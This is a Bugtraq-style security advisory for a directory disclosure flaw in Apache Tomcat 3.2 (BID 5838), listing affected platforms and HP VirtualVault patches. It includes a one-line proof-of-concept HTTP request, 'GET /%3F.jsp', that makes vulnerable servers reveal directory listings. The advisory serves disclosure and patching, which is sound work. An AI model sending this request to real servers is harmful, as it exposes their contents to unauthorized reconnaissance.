Apache Tomcat 3.2 Directory Disclosure Vulnerability

Bugtraq ID:	5838
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Oct 01 2002 12:00AM
Updated:	Oct 01 2002 12:00AM
Credit:	This issue was reported in a HP Security Bulletin.
Vulnerable:	HP VirtualVault 4.6 - HP HP-UX 11.0 4 HP VirtualVault 4.5 - HP HP-UX 11.0 4 Apache Tomcat 3.2.4 Apache Tomcat 3.2.3 Apache Tomcat 3.2.1 - BSDI BSD/OS 4.0 - Caldera OpenLinux 2.4 - Debian Linux 2.2 - Debian Linux 2.1 - Digital UNIX 4.0 - FreeBSD FreeBSD 5.0 - FreeBSD FreeBSD 4.0 - HP Secure OS software for Linux 1.0 - Mandriva Linux Mandrake 7.1 - Mandriva Linux Mandrake 7.0 - NetBSD NetBSD 1.4.2 x86 - NetBSD NetBSD 1.4.1 x86 - Redhat Linux 6.2 i386 - Redhat Linux 6.1 i386 - SGI IRIX 6.5 - SGI IRIX 6.4 - Sun Solaris 8_sparc - Sun Solaris 7.0 Apache Tomcat 3.2 - BSDI BSD/OS 4.0 - Caldera OpenLinux 2.4 - Debian Linux 2.2 - Debian Linux 2.1 - Digital UNIX 4.0 - FreeBSD FreeBSD 5.0 - FreeBSD FreeBSD 4.0 - Mandriva Linux Mandrake 7.1 - Mandriva Linux Mandrake 7.0 - NetBSD NetBSD 1.4.2 x86 - NetBSD NetBSD 1.4.1 x86 - Redhat Linux 6.2 i386 - Redhat Linux 6.1 i386 - SGI IRIX 6.5 - SGI IRIX 6.4 - Sun Solaris 8_sparc - Sun Solaris 7.0
Not Vulnerable:

Apache Tomcat 3.2 Directory Disclosure Vulnerability

The following proof of concept was provided:

GET /%3F.jsp HTTP/1.0

Apache Tomcat 3.2 Directory Disclosure Vulnerability

Solution:
Fixes are available:


HP VirtualVault 4.5

• HP PHSS_27921
  http://itrc.hp.com

HP VirtualVault 4.6

• HP PHSS_27922
  http://itrc.hp.com

Apache Tomcat 3.2 Directory Disclosure Vulnerability

References: